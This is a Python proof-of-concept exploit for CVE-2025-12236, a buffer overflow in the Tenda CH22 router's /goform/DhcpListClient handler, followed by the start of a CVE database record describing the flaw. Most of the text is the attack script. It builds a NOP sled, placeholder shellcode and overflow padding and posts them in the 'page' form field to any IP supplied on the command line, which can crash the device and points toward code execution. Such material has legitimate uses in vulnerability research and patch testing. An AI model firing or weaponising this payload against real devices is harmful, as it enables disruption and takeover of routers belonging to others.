CVE-2025-12236

#!/usr/bin/env python3 """ CVE-2025-12236 PoC - Tenda CH22 Buffer Overflow in /goform/DhcpListClient Vulnerable function: fromDhcpListClient Target: Tenda CH22 1.0.0.1 CVSS: 8.8 (High) """ import requests import sys TARGET = "http://{target_ip}" PATH = "/goform/DhcpListClient" def create_payload(length=1000): """Generate buffer overflow payload with NOP sled + shellcode""" # NOP sled for sliding to shellcode nop_sled = b'\x90' * 200 # Placeholder for shellcode (actual shellcode depends on target architecture) shellcode = b'\xcc' * 100 # INT3 breakpoint for testing # Overflow pattern to reach return address overflow = b'A' * (length - len(nop_sled) - len(shellcode)) return nop_sled + shellcode + overflow def exploit(target_ip): """Send malicious request to trigger buffer overflow""" url = f"{TARGET.format(target_ip=target_ip)}{PATH}" headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-12236 PoC)', 'Content-Type': 'application/x-www-form-urlencoded' } # Payload for buffer overflow payload = { 'page': create_payload(1000).decode('latin-1'), 'fromDhcpListClient': '1' } print(f"[*] Targeting: {url}") print(f"[*] Payload length: {len(payload['page'])} bytes") print("[*] Sending exploit payload...") try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed (device may be crashed): {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])

{"cve": {"id": "CVE-2025-12236", "sourceIdentifier": "[email protected]", "published": "2025-10-27T07:15:38.813", "lastModified": "2026-02-24T08:16:23.520", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Tenda CH22 1.0.0.1. This issue affects the function fromDhcpListClient of the file /goform/DhcpListClient. This manipulation of the argument page causes buffer overflow. Remote exploitation of the attack is possible. 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